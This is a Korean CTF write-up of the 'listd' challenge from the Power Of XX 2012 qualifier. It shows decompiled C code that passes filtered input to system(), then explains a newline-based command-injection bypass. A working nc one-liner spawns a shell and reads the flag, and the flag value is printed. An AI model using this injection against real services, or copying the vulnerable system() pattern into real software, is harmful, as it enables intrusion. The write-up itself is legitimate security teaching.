CTF/2012

POWER OF XX 2012 예선 - listd

pwn3r_45 2012. 11. 9. 22:52

 POC 컨퍼런스의 이벤트로 진행된 Power Of XX라는 여성대상 해킹대회 예선에 출제했던 문제입니다.

system함수에 개행문자를 이용하여 여러명령을 실행할 수 있다는 점을 이용해 필터링을 우회하고 쉘을 획득해야합니다.

이 문제 역시 난이도를 중-하로 잡고 냈기 때문에 매우 간단합니다 :)

-------------------------------------------------------------------------------------------------------------------------------------------


Category : Pwnable

nc 59.9.131.148 7979


데몬의 취약점을 이용해 쉘을 획득하고 /home/listd/flag.txt를 읽으세요.


listd

Summary : shell command injection, filtering bypass with '\n' 


 주어진 파일은 문제서버에서 데몬으로 돌아가고 있는 linux ELF 실행 바이너리이다.


int __cdecl main()

{

  int result; // eax@10

  char cmd; // [sp+1Ch] [bp-30Ch]@10

  char buf; // [sp+21Ch] [bp-10Ch]@1

  int SSP; // [sp+31Ch] [bp-Ch]@1


  SSP = *MK_FP(__GS__, 20);

  memset(&buf, 0, 0x100u);

  read(0, &buf, 0x100u);

  if ( strchr(&buf, '`')

    || strchr(&buf, '|')

    || strchr(&buf, '&')

    || strchr(&buf, '$')

    || strchr(&buf, ''')

    || strchr(&buf, '\"')

    || strchr(&buf, '`')

    || strchr(&buf, ';')

    || strchr(&buf, '`') )

  {

    puts("What are you doing ?");

    exit(0);

  }

  sprintf(&cmd, "ls -al %s", &buf);

  system(&cmd);   // Vuln !!!

  result = 0;

  if ( *MK_FP(__GS__, 20) != SSP )

    __stack_chk_fail();

  return result;

}


 바이너리의 역할은 매우 간단하다. 클라이언트로부터 경로를 입력받고, system함수로 ls -al 명령을 입력받은 경로와 함께 실행하여 해당 경로를 리스팅하는 것이 전부이다. 그런데 ls -al의 경로로 사용하기 위해 입력받은 문자열이 그대로 system함수에 넘어가기 때문에, 쉘의 특수문자들을 이용하여 임의의 쉘명령을 실행시킬 수 있는 취약점이 존재한다. 취약점은 간단하지만 문제점은 쉘에서 사용하는 특수문자들에 대한 필터링이 존재한다는 것이다. 일반적으로 한 구문에서 여러 명령을 실행시킬때 사용할 수 있는 ; & | ` 등의 특수문자들도 모두 필터링되어 사용할 수 없다.


이 필터링을 우회해야 하는 방법을 찾아보다보면, 개행문자(\n)가 필터링 되어있지 않다는 것을 알 수 있다. 쉘명령에서 개행문자를 쓰는 것은 명령 한줄 한줄을 구분해 주는 것이기 때문에, 개행문자를 사용하여 한 문자열에서 여러 개의 명령 구문 실행할 수 있다. 문제 바이너리에서도 개행문자에 대한 필터링이 존재하지 않는다는 것을 이용해 필터링을 우회하여 원하는 임의의 명령을 실행시킬 수 있다. 따라서 입력에 임의로 아무경로나 넣어주고 그 뒤에 개행문자와 함께 sh명령을 넣어주면, "ls -al [임의의 경로]" 명령이 실행되고 sh명령이 실행되어 쉘을 획득할 수 있을 것이다.


바로 공격을 시도해보자.


root@ubuntu:~# (python -c 'print "/dev/null"+"\n"+"sh"';cat)|nc localhost 7979

crw-rw-rw- 1 root root 1, 3 Feb 22  2011 /dev/null

id

uid=1004(listd) gid=1004(listd) groups=1004(listd)

cat /home/listd/flag.txt

6b5f247c1aa7baca0b7c92b792a98a7b 


서버의 쉘을 획득하고 인증키를 얻어냈다.


Flag : 6b5f247c1aa7baca0b7c92b792a98a7b